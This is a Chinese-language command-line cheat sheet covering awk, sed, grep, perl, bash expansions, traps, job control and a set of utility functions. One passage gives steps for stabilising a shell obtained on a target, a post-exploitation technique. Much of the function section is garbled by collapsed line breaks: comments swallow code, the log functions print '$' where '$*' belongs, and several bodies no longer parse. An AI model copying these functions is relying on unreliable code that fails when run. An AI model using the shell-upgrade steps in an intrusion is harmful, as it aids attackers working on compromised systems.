--pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' \
--abbrev-commit
# Python 3.x
python3 -m http.server 8000 --bind 127.0.0.1
# Python 2.x
python -m SimpleHTTPServer 8000
# Python 3.x
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('localhost', 4443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="path/to/key.pem",
certfile='path/to/cert.pem', server_side=True)
httpd.serve_forever()
# Python 2.x
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('localhost', 4443),
SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="path/tp/key.pem",
certfile='path/to/cert.pem', server_side=True)
httpd.serve_forever()
python -m base64 -e <<< "sample string"
python -m base64 -d <<< "dGhpcyBpcyBlbmNvZGVkCg=="
# egrep foo
awk '/foo/' filename
# egrep -v foo
awk '!/foo/' filename
# egrep -n foo
awk '/foo/{print FNR,$0}' filename
awk '{print $NF}' filename
awk 'length($0)>80{print FNR,$0}' filename
awk 'length < 80' filename
awk '1; { print "" }' filename
awk '{ print FNR "\t" $0 }' filename
awk '{ printf("%5d : %s\n", NR, $0) }' filename # 以更漂亮的方式
awk 'NF { $0=++a " :" $0 }; { print }' filename
awk '/foo/{i=5+1;}{if(i){i--; print;}}' filename
awk '/server {/,/}/' filename
awk -F' ' '{print "ip:\t" $2 "\n port:\t" $3' filename
awk 'NF > 0' filename
# 替代方案:
awk NF filename
awk '{sub(/[ \t]*$/, "");print}' filename
awk '{sub(/^[ \t]+/, ""); print}' filename
# uniq
awk 'a !~ $0{print}; {a=$0}' filename
awk '!x[$0]++' filename
awk '{$1=$3=""}1' filename
awk '/regexp/{gsub(/foo/, "bar")};{print}' filename
awk '/regexp/{sub(/^/, "++++"); print;next;}{print}' filename
awk '/'$(date -d "1 hours ago" "+%d\\/%b\\/%Y:%H:%M")'/,/'$(date "+%d\\/%b\\/%Y:%H:%M")'/ { print $0 }' \
/var/log/httpd/access_log
sed -n 10p /path/to/file
sed -i 10d /path/to/file
# 替代方案 (BSD): sed -i'' 10d /path/to/file
sed -i <file> -re '<start>,<end>d'
sed ':a;N;$!ba;s/\n/ /g' /path/to/file
# 跨平台兼容语法:
sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' /path/to/file
:a 创建标签 aN 将下一行追加到模式空间$! 如果不是最后一行,ba 分支(跳转到)标签 as 替换,/\n/ 换行符的正则表达式,/ / 替换为空格,/g 全局匹配(尽可能多次)替代方案:
# perl 版本(类似 sed 的速度):
perl -p -e 's/\n/ /' /path/to/file
# bash 版本(较慢):
while read line ; do printf "%s" "$line " ; done < file
sed '/start/,+4d' /path/to/file
grep -rn "pattern"
grep -RnisI "pattern" *
fgrep "pattern" * -R
grep 'INFO*'\''WARN' filename
grep 'INFO\|WARN' filename
grep -e INFO -e WARN filename
grep -E '(INFO|WARN)' filename
egrep "INFO|WARN" filename
grep -vE '(error|critical|warning)' filename
grep -v ^[[:space:]]*# filename
egrep -v '#|^$' filename
grep -e -- filename
grep -- -- filename
grep "\-\-" filename
grep . filename > newfilename
perl -i -pe's/SEARCH/REPLACE/' filename
*.conf 文件将所有 foo 改为 bar(并备份原始文件)perl -p -i.orig -e 's/\bfoo\b/bar/g' *.conf
*.conf 文件的前 20 行perl -pe 'exit if $. > 20' *.conf
perl -ne 'print if 10 .. 20' filename
perl -i.orig -ne 'print unless 1 .. 10' filename
perl -i.orig -ne 'print unless /^foo$/ .. /^bar$/' filename
perl -p -i -00pe0 filename
perl -p -i -e 's/\t/ /g' filename
perl -lne '$i++; $in += length($_); END { print "$i lines, $in characters"; }' filename
当你获得一个 Shell 时,它通常不太干净,但按照以下步骤操作后,你将拥有一个相当干净且舒适的 Shell 工作环境。
1) script /dev/null -c bash
2) Ctrl-Z(将其发送到后台)
3) stty raw -echo; fg(将 shell 返回到前台)
4) reset(重置终端)
5) xterm(当被询问终端类型时)
6) export TERM=xterm; export SHELL=bash
!! # 重复上一条命令
sudo !! # 用 sudo 重新执行上一条命令
!$ # 上一条命令的最后一个参数
!^ # 上一条命令的第一个参数
!* # 上一条命令的所有参数
!:n # 上一条命令的第 n 个参数 (0-indexed,命令本身为 :0)
!:- # 上一条命令的所有参数(不含命令名)
!<n> # 执行历史中第 n 条命令
!<string> # 执行最近以 string 开头的命令
^old^new # 将上一条命令中的 old 替换为 new 并执行
!:gs/old/new # 将上一条命令中所有 old 替换为 new 并执行
echo {1..10} # 1 2 3 4 5 6 7 8 9 10
echo {01..10} # 01 02 03 ... 10 (补齐前导零)
echo {a..z} # a b c d ... z
echo {a..z..2} # a c e g ... y (步长为 2)
echo {z..a..3} # z w t q n k h e b (逆向递减)
echo {1..10..3} # 1 4 7 10
# 枚举展开
echo file.{txt,md,log} # file.txt file.md file.log
echo backup-{2020..2025}-{01..12} # 组合展开
# 批量创建目录
mkdir -p project/{src,test,docs}/{js,python}
var="hello world"
echo "${var}" # hello world
echo "${#var}" # 11 (字符串长度)
# 默认值
echo "${var:-default}" # 如果 var 未设置或为空,返回 default(不修改变量)
echo "${var:=default}" # 如果 var 未设置或为空,赋值为 default 并返回
echo "${var:+replaced}" # 如果 var 已设置且非空,返回 replaced(替代值)
echo "${var:?变量未设置}" # 如果 var 未设置或为空,打印错误信息并退出
# 子串和切片
echo "${var:6}" # world (从第 6 个字符开始)
echo "${var:0:5}" # hello (从 0 开始取 5 个字符)
echo "${var: -5}" # world (从末尾倒数 5 个字符,注意冒号后的空格)
# 前缀删除
echo "${var#hello }" # world (删除最短匹配的前缀)
echo "${var##h*o}" # rld (删除最长匹配的前缀)
# 后缀删除
echo "${var%world}" # hello (删除最短匹配的后缀)
echo "${var%%w*}" # hello (删除最长匹配的后缀)
# 全局替换
echo "${var/hello/hi}" # hi world (替换第一个匹配)
echo "${var//o/O}" # hellO wOrld (替换所有匹配)
echo "${var//[aeiou]/_}" # h_ll_ w_rld (替换任意元音)
# 大小写转换 (Bash 4+)
echo "${var^^}" # HELLO WORLD (全部大写)
echo "${var,,}" # hello world (全部小写)
echo "${var^}" # Hello world (仅首字母大写)
echo "${var,}" # hello world (仅首字母小写)
echo "${var~~}" # hELLO WORLD (大小写反转)
# 间接引用
var_name="PATH"
echo "${!var_name}" # 输出 PATH 变量的值(间接展开)
# 目录栈操作
pushd /path/to/dir # 切换到目录并推入栈
popd # 弹出栈顶目录并切换
dirs # 查看目录栈
dirs -v # 带编号查看目录栈
pushd +2 # 切换到栈中第 2 个目录(dirs -v 显示的编号)
# 快速返回
cd - # 返回上一个工作目录
cd "$OLDPWD" # 同上,使用变量
# CDPATH 搜索路径
export CDPATH=.:~:/var/log:/etc
# 设置后,cd nginx 会自动在 CDPATH 目录下搜索 nginx 子目录
# 创建目录并立即进入
mkcd() { mkdir -p "$1" && cd "$1"; }
# 进程替换 - 将命令输出当作文件使用
diff <(ls dir1) <(ls dir2) # 比较两个目录
comm -23 <(sort file1) <(sort file2) # 找出 file1 中独有的行
# 将 stdout 和 stderr 分别通过不同命令处理
command > >(processor1) 2> >(processor2)
# exec 重定向 - 整个脚本的输入输出重定向
exec > >(tee -a /var/log/script.log) 2>&1 # 所有输出同时到屏幕和日志
exec 3>&1 >stdout.log 2>&1 # 保存原始 stdout 到 fd 3
# 仅捕获 stderr(丢弃 stdout)
command 2>&1 >/dev/null | grep "error"
# 同时输出到文件和 stdout
command 2>&1 | tee output.log
# 多文件输出
command | tee file1 file2 >/dev/null
# 快速交换 stdout 和 stderr
command 3>&1 1>&2 2>&3
# 退出时清理临时文件
trap 'rm -rf "$TMPDIR"' EXIT
# 捕获 Ctrl+C 优雅退出
trap 'echo -e "\n被中断,正在清理..."; exit 130' INT
# 捕获多个信号
cleanup() { rm -f "$LOCKFILE"; echo "已清理"; }
trap cleanup EXIT INT TERM
# 错误时打印行号(调试用)
trap 'echo "错误发生在第 ${LINENO} 行,命令: ${BASH_COMMAND}"' ERR
# 最常见的信号
# INT (2) - Ctrl+C 中断
# TERM (15) - kill 默认信号
# EXIT (0) - 脚本正常或异常退出时(非信号)
# HUP (1) - 终端挂起
# QUIT (3) - Ctrl+\ 退出并生成 core dump
# KILL (9) - 无法被捕获,强制终止
# 编写健壮脚本的必备选项
set -e # 任何命令返回非零状态立即退出
set -u # 引用未定义变量时退出
set -o pipefail # 管道中任一命令失败则整体失败($? 为最后一个失败命令的状态)
set -E # ERR trap 在函数和子 shell 中也能捕获
# 常用组合
set -euo pipefail
# 调试选项
set -x # 打印每条执行的命令(展开变量后)
set -v # 打印读取的每一行(展开变量前)
# shopt 扩展选项
shopt -s extglob # 启用扩展模式匹配: !(pattern) @(pattern) +(pattern) ?(pattern)
shopt -s globstar # 启用 ** 递归匹配
shopt -s dotglob # 通配符匹配隐藏文件
shopt -s autocd # 输入目录名自动 cd
shopt -s dirspell # 拼写纠错目录名
shopt -s cdspell # cd 时纠错
shopt -s histappend # 追加而非覆盖历史文件
shopt -s checkwinsize # 每次命令后检查窗口大小
# 运行脚本时调试
bash -x script.sh # 打印每条执行命令
bash -n script.sh # 仅检查语法,不执行
# 在脚本中局部调试
set -x # 开启跟踪
# ... 需要调试的代码段
set +x # 关闭跟踪
# 定制 PS4 显示文件名、行号和函数名
export PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
# 使用 trap DEBUG 单步调试
trap 'read -p "[$LINENO] \$BASH_COMMAND"' DEBUG
# 使用 trap ERR 在错误处进入 Shell
trap '(echo "错误行: $LINENO"; exec bash -i)' ERR
# 打印函数调用栈
_trace() {
for i in ${!FUNCNAME[@]}; do
echo " #$i: ${FUNCNAME[$i]} (${BASH_SOURCE[$i]}:${BASH_LINENO[$i]})"
done
}
trap '_trace' ERR
# 后台运行
command & # 放入后台运行
nohup command & # 忽略 SIGHUP,退出终端后继续运行
command &>/dev/null & # 静默后台运行
disown # 脱离最近的后台任务(当前 shell 退出后继续运行)
# 管理任务
jobs # 列出当前 shell 的后台任务
jobs -l # 同时显示 PID
fg # 将最近的后台任务调回前台
fg %1 # 将指定任务号调回前台
bg %1 # 让暂停的任务在后台继续运行
# 等待与脱离
wait # 等待所有后台任务完成
wait $pid # 等待指定 PID 的任务
disown -a # 脱离所有后台任务
disown -h %1 # 标记任务不接收 SIGHUP
# 并行处理多个任务并等待全部完成
for host in host1 host2 host3; do
ssh "$host" some_command &
done
wait
echo "全部完成"
# 颜色定义
rst="\e[0m" ; red="\e[0;31m" ; green="\e[0;32m"
yel="\e[0;33m" ; blue="\e[0;34m" ; mag="\e[0;35m"
cya="\e[0;36m" ; wht="\e[0;37m"
# 粗体颜色
bred="\e[1;31m" ; bgreen="\e[1;32m" ; bwhite="\e[1;37m"
# 背景色
bg_red="\e[41m" ; bg_green="\e[42m" ; bg_yellow="\e[43m"
bg_blue="\e[44m" ; bg_magenta="\e[45m" ; bg_cyan="\e[46m"
# 使用示例
echo -e "${red}错误:${rst} 文件未找到"
echo -e "${bgreen}成功:${rst} 构建完成"
# 光标控制
echo -ne "\e[?25l" # 隐藏光标
echo -ne "\e[?25h" # 显示光标
echo -ne "\e[2J" # 清屏
echo -ne "\e[1;1H" # 光标移动到 (1,1)
echo -ne "\e[K" # 清除从光标到行尾
echo -ne "\e[1A" # 光标上移 1 行
# 原地刷新行(简易旋转指示器)
spinner=('|' '/' '-' '\')
for ((i=0; i<20; i++)); do
echo -ne "\r${spinner[i%4]} 处理中..."
sleep 0.1
done
echo -ne "\r完成! \n"
# Here String 将字符串通过 stdin 传递,避免 echo | 产生的子 shell
grep pattern <<<"$variable"
read -r a b c <<<"one two three"
# 将多行文本作为单个字符串传递
cat <<<"第 1 行
第 2 行
第 3 行"
# 与 Here Doc 对比 — Here Doc 用于多行模板
# 带引号的 'EOF' 阻止变量展开
cat <<'EOF'
此处 $variables 和 $(commands) 不会被展开
EOF
# 不带引号的 EOF 会展开变量
cat <<EOF
当前用户: $(whoami),时间: $(date)
EOF
# 前置制表符可以加 <<- 自动去除缩进(仅限制表符,非空格)
cat <<-EOF
缩进的内容
输出时会去掉前导制表符
EOF
$? # 上一条命令的退出状态码 (0=成功, 非0=失败)
$! # 最近后台命令的 PID
$$ # 当前 shell 的 PID
$_ # 上一条命令的最后一个参数(或 shell 启动时的绝对路径)
$- # 当前 shell 的选项标志 (如 himBHs)
$0 # 脚本名称或 shell 名称
$1-$9 # 位置参数 1-9
${10} # 第 10 个及以上位置参数必须用大括号
$# # 位置参数的个数
$@ # 所有位置参数(每个参数作为独立单词,用引号时保持原样: "$@")
$* # 所有位置参数(作为单个字符串,受 IFS 影响: "$*")
$IFS # 内部字段分隔符 (默认: 空格 制表符 换行符)
$LINENO # 当前脚本行号
$RANDOM # 0-32767 之间的随机整数
$SECONDS # 当前 shell 已运行的秒数
$PIPESTATUS # 最近管道中所有命令的退出状态数组
# $@ vs $* 的区别:
func() { echo "参数个数: $#"; }
args="a b c"
func "$args" # 1 个参数: "a b c"
func $args # 3 个参数: "a" "b" "c"
#### Shell 函数 [<sup>[目录]</sup>](#anger-table-of-contents)
##### 目录
- [Domain resolve](#domain-resolve) - 域名解析
- [Get ASN](#get-asn) - 获取 ASN
- [日志函数](#日志函数) - 带级别和颜色的日志
- [重试函数](#重试函数) - 失败自动重试
- [进度条](#进度条) - 纯 Bash 进度条
- [URL 编解码](#url-编解码) - urlencode / urldecode
- [随机密码生成](#随机密码生成) - 随机密码/字符串
- [锁文件机制](#锁文件机制) - 防止脚本重复执行
- [临时目录管理](#临时目录管理) - 创建并自动清理
- [命令依赖检查](#命令依赖检查) - 检查必需命令
- [执行计时](#执行计时) - 测量命令执行耗时
- [JSON 快速提取](#json-快速提取) - 不依赖 jq 的值提取
- [路径规范化](#路径规范化) - 获取绝对路径
- [配置文件解析](#配置文件解析) - 解析 key=value 配置
- [数组工具](#数组工具) - 去重和包含检查
- [批量重命名](#批量重命名) - 安全批量重命名
###### 域名解析 (Domain resolve)
bash
function DomainResolve() {
local _host="$1"
local _curl_base="curl --request GET" local _timeout="15"
_host_ip=$($_curl_base -ks -m "$_timeout" "https://dns.google.com/resolve?name=${_host}&type=A" | \ jq '.Answer[0].data' | tr -d "\"" 2>/dev/null)
if [[ -z "$_host_ip" ]] || [[ "$_host_ip" == "null" ]] ; then
echo -en "域名解析失败。\\n"
else
echo -en "$_host > $_host_ip\\n"
fi
}
示例:
bash shell> DomainResolve nmap.org nmap.org > 45.33.49.119
shell> DomainResolve nmap.org 域名解析失败。
###### 获取 ASN (Get ASN)
bash
function GetASN() {
local _ip="$1"
local _curl_base="curl --request GET" local _timeout="15"
_asn=$($_curl_base -ks -m "$_timeout" "http://ip-api.com/line/${_ip}?fields=as")
_state=$(echo $?)
if [[ -z "$_ip" ]] || [[ "$_ip" == "null" ]] || [[ "$_state" -ne 0 ]]; then
echo -en "ASN 获取失败。\\n"
else
echo -en "$_ip > $_asn\\n"
fi
}
示例:
bash shell> GetASN 1.1.1.1 1.1.1.1 > AS13335 Cloudflare, Inc.
shell> GetASN 0.0.0.0 ASN 获取失败。
###### 日志函数
bash
_log_ts() { date +"%Y-%m-%d %H:%M:%S"; }
log_info() { echo -e "\e[0;32m[INFO]\e[0m $(_log_ts) - $"; } log_warn() { echo -e "\e[0;33m[WARN]\e[0m $(_log_ts) - $"; } log_error() { echo -e "\e[0;31m[ERROR]\e[0m $(_log_ts) - $"; } log_debug() { [[ -n "${DEBUG:-}" ]] && echo -e "\e[0;34m[DEBUG]\e[0m $(_log_ts) - $"; } log_fatal() { echo -e "\e[1;31m[FATAL]\e[0m $(_log_ts) - $*"; exit 1; }
log_info "正在处理文件..." log_warn "磁盘使用率已超过 80%" log_error "连接超时,请检查网络" log_debug "当前变量值: var=$myvar"
###### 重试函数
bash
retry() { local max_attempts="${1:-3}" local delay="${2:-2}" local attempt=1
shift 2 2>/dev/null || true
while (( attempt <= max_attempts )); do
echo -ne "\e[0;34m[RETRY]\e[0m 第 ${attempt}/${max_attempts} 次尝试... "
if "$@"; then
echo -e "\e[0;32m成功\e[0m"
return 0
fi
echo -e "\e[0;31m失败\e[0m"
if (( attempt < max_attempts )); then
sleep "$delay"
delay=$(( delay * 2 )) # 指数退避
fi
(( attempt++ ))
done
echo -e "\e[0;31m[ERROR]\e[0m 重试 ${max_attempts} 次后仍然失败" return 1 }
retry 5 1 curl -s https://example.com/api retry 3 2 ssh remote_host 'some_command'
###### 进度条
bash
progress_bar() { local current="${1:-0}" local total="${2:-100}" local width="${3:-40}"
local percent=$(( current * 100 / total )) local filled=$(( width * percent / 100 )) local empty=$(( width - filled ))
printf -v bar "%${filled}s" ""; bar="${bar// /#}" printf -v space "%${empty}s" ""
printf "\r[%s%s] %3d%% (%d/%d)" "$bar" "$space" "$percent" "$current" "$total" }
###### URL 编解码
bash
urlencode() { local string="${1:-$(cat)}" local encoded="" local c
for ((i=0; i<${#string}; i++)); do
c="${string:i:1}"
case "$c" in
[a-zA-Z0-9.~_-]) encoded+="$c" ;;
*) printf -v hex '%%%02X' "'$c"
encoded+="$hex" ;;
esac
done
echo "$encoded" }
urldecode() { awk -v RS='+' '{
gsub(/%[0-9a-fA-F][0-9a-fA-F]/, "&\n")
printf "%s", $0
}' <<<"${1:-$(cat)}" | \ awk '{
if (match($0, /%[0-9a-fA-F][0-9a-fA-F]/))
printf "%c", strtonum("0x" substr($0, RSTART+1, RLENGTH-1))
else
printf "%s", $0
}' }
###### 随机密码生成
bash
genpass() { local length="${1:-16}" local charset="${2:-A-Za-z0-9}"
# 使用 /dev/urandom LC_ALL=C tr -dc "$charset" </dev/urandom | head -c "$length" echo }
genpass_openssl() { openssl rand -base64 "${1:-16}" | tr -d '=+/' | head -c "${1:-16}" echo }
###### 锁文件机制
bash
_lockfile="/var/run/$(basename "$0").lock"
acquire_lock() { local lockfile="${1:-$_lockfile}"
# 方法1: 使用 mkdir(原子操作,最可移植) if ! mkdir "$lockfile" 2>/dev/null; then
local pid
pid=$(cat "$lockfile/pid" 2>/dev/null)
if [[ -n "$pid" ]] && kill -0 "$pid" 2>/dev/null; then
echo "脚本已在运行 (PID: $pid)" >&2
return 1
fi
# 僵尸锁,强制删除
rm -rf "$lockfile"
mkdir "$lockfile" || return 1
fi echo "$$" > "$lockfile/pid" trap 'rm -rf "$lockfile"' EXIT return 0 }
acquire_lock_flock() { local lockfile="${1:-$_lockfile}" exec 200>"$lockfile" if ! flock -n 200; then
echo "脚本已在运行" >&2
return 1
fi # fd 200 会在脚本退出时自动释放锁 }
###### 临时目录管理
bash
_tmpdirs=()
tmpdir_create() { local dir dir=$(mktemp -d -t "${1:-tmp}.XXXXXX") _tmpdirs+=("$dir") echo "$dir" }
_tmpdir_cleanup() { for dir in "${_tmpdirs[@]}"; do
rm -rf "$dir"
done }
trap _tmpdir_cleanup EXIT
tmpdir_simple() { local dir dir=$(mktemp -d -t "${1:-tmp}.XXXXXX") trap "rm -rf '$dir'" EXIT echo "$dir" }
###### 命令依赖检查
bash
require() { local missing=()
for cmd in "$@"; do
if ! command -v "$cmd" &>/dev/null; then
missing+=("$cmd")
fi
done
if [[ ${#missing[@]} -gt 0 ]]; then
echo -e "\e[0;31m[ERROR]\e[0m 缺少依赖命令: ${missing[*]}" >&2
echo "请使用包管理器安装后重试。" >&2
return 1
fi
return 0 }
require_version() { local cmd="$1" required="$2" version if ! command -v "$cmd" &>/dev/null; then
echo -e "\e[0;31m[ERROR]\e[0m 命令 $cmd 未安装" >&2
return 1
fi version=$("$cmd" --version 2>&1 | grep -oE '[0-9]+.[0-9]+(.[0-9]+)?' | head -1) if [[ -z "$version" ]]; then
echo -e "\e[0;33m[WARN]\e[0m 无法检测 $cmd 版本" >&2
return 0
fi echo "$cmd 版本: $version (需要 >= $required)" }
###### 执行计时
bash
timer_start() { _timer_start=$(date +%s%N) }
timer_stop() { local start="${1:-$_timer_start}" local end duration
end=$(date +%s%N) duration=$(( (end - start) / 1000000 )) # 毫秒
if (( duration > 60000 )); then
printf "耗时: %.2f 分钟\n" "$(bc -l <<<"$duration/60000")"
elif (( duration > 1000 )); then
printf "耗时: %.2f 秒\n" "$(bc -l <<<"$duration/1000")"
else
echo "耗时: ${duration}ms"
fi }
timed() { local start end start=$(date +%s%N) "$@" local ret=$? end=$(date +%s%N) local ms=$(( (end - start) / 1000000 )) echo "[timed] 退出码: $ret, 耗时: ${ms}ms" >&2 return $ret }
#
###### JSON 快速提取
bash
json_get_str() { local key="$1" json="${2:-$(cat)}" echo "$json" | grep -oP "\"${key}\"\s:\s\"[^\"]*\"" |
grep -oP ':\s*"\K[^"]*'
}
json_get_num() { local key="$1" json="${2:-$(cat)}" echo "$json" | grep -oP "\"${key}\"\s:\s\d+(.\d+)?" |
grep -oP ':\s*\K\d+(\.\d+)?'
}
json_extract() { local key="$1" awk -v k="\"$key\"" '{
for (i=1; i<=NF; i++) {
if ($i ~ k) {
gsub(/[",]/, "", $(i+2))
print $(i+2)
}
}
}' }
###### 路径规范化
bash
abspath() { local path="$1"
# 方法1: 使用 realpath (如果可用) if command -v realpath &>/dev/null; then
realpath -- "$path"
return
fi
# 方法2: 使用 readlink -f (Linux) if readlink -f / &>/dev/null; then
readlink -f -- "$path"
return
fi
# 方法3: 纯 Bash 实现 local dir base if [[ -d "$path" ]]; then
dir=$(cd "$path" && pwd -P)
echo "$dir"
elif [[ -f "$path" ]]; then
base=$(basename "$path")
dir=$(cd "$(dirname "$path")" && pwd -P)
echo "$dir/$base"
else
echo "$path"
fi }
script_dir() { local src="${BASH_SOURCE[0]}" while [[ -L "$src" ]]; do
src=$(readlink "$src")
done cd "$(dirname "$src")" && pwd -P }
###### 配置文件解析
bash
parse_config() { local config_file="$1" local -n _result="${2:-CONFIG}" # 引用目标关联数组
if [[ ! -f "$config_file" ]]; then
echo "配置文件不存在: $config_file" >&2
return 1
fi
declare -gA "$2" 2>/dev/null || declare -A _result
while IFS='=' read -r key value; do
# 跳过空行和注释
[[ -z "$key" || "$key" =~ ^[[:space:]]*# ]] && continue
# 去除前后空白
key=$(echo "$key" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')
value=$(echo "$value" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')
# 去除值中的引号
value="${value%\"}"; value="${value#\"}"
value="${value%\'}"; value="${value#\'}"
_result["$key"]="$value"
done < <(grep -v '^\s#' "$config_file" | grep -v '^\s$') }
###### 数组工具
bash
array_dedup() { local -n _in="$1" local -n _out="${2:-_in}" local -A _seen _out=()
for item in "${_in[@]}"; do
if [[ -z "${_seen[$item]:-}" ]]; then
_out+=("$item")
_seen["$item"]=1
fi
done }
array_contains() { local item="$1" local -n _arr="$2"
for e in "${_arr[@]}"; do
[[ "$e" == "$item" ]] && return 0
done
return 1 }
array_max() { local -n _arr="$1" local max="${_arr[0]}" for v in "${_arr[@]:1}"; do
(( v > max )) && max="$v"
done echo "$max" }
array_min() { local -n _arr="$1" local min="${_arr[0]}" for v in "${_arr[@]:1}"; do
(( v < min )) && min="$v"
done echo "$min" }
array_shuffle() { local -n _arr="$1" local i j tmp for ((i=${#_arr[@]}-1; i>0; i--)); do
j=$(( RANDOM % (i+1) ))
tmp="${_arr[i]}"; _arr[i]="${_arr[j]}"; _arr[j]="$tmp"
done }
###### 批量重命名
bash
batch_rename() { local pattern="$1" replacement="$2" dry_run="${3:-false}" local count=0
for file in "$pattern"; do
# 跳过不存在的文件
[[ -e "$file" ]] || continue
local newname="${file//$pattern/$replacement}"
if [[ "$file" != "$newname" ]]; then
if [[ "$dry_run" == "true" ]]; then
echo -e "\e[0;34m[预览]\e[0m $file -> $newname"
else
mv -v -- "$file" "$newname"
fi
((count++))
fi
done
echo "共处理 $count 个文件" >&2 }
batch_prefix() { local prefix="$1" dry_run="${2:-false}" local count=0
for file in *; do
[[ -f "$file" ]] || continue
if [[ "$dry_run" == "true" ]]; then
echo -e "\e[0;34m[预览]\e[0m $file -> ${prefix}${file}"
else
mv -v -- "$file" "${prefix}${file}"
fi
((count++))
done
echo "共处理 $count 个文件" >&2 }
batch_suffix() { local suffix="$1" dry_run="${2:-false}" local count=0 name ext
for file in *; do
[[ -f "$file" ]] || continue
name="${file%.*}"
ext="${file##*.}"
[[ "$file" == "$ext" ]] && ext="" || ext=".$ext"
if [[ "$dry_run" == "true" ]]; then
echo -e "\e[0;34m[预览]\e[0m $file -> ${name}${suffix}${ext}"
else
mv -v -- "$file" "${name}${suffix}${ext}"
fi
((count++))
done
echo "共处理 $count 个文件" >&2 }
```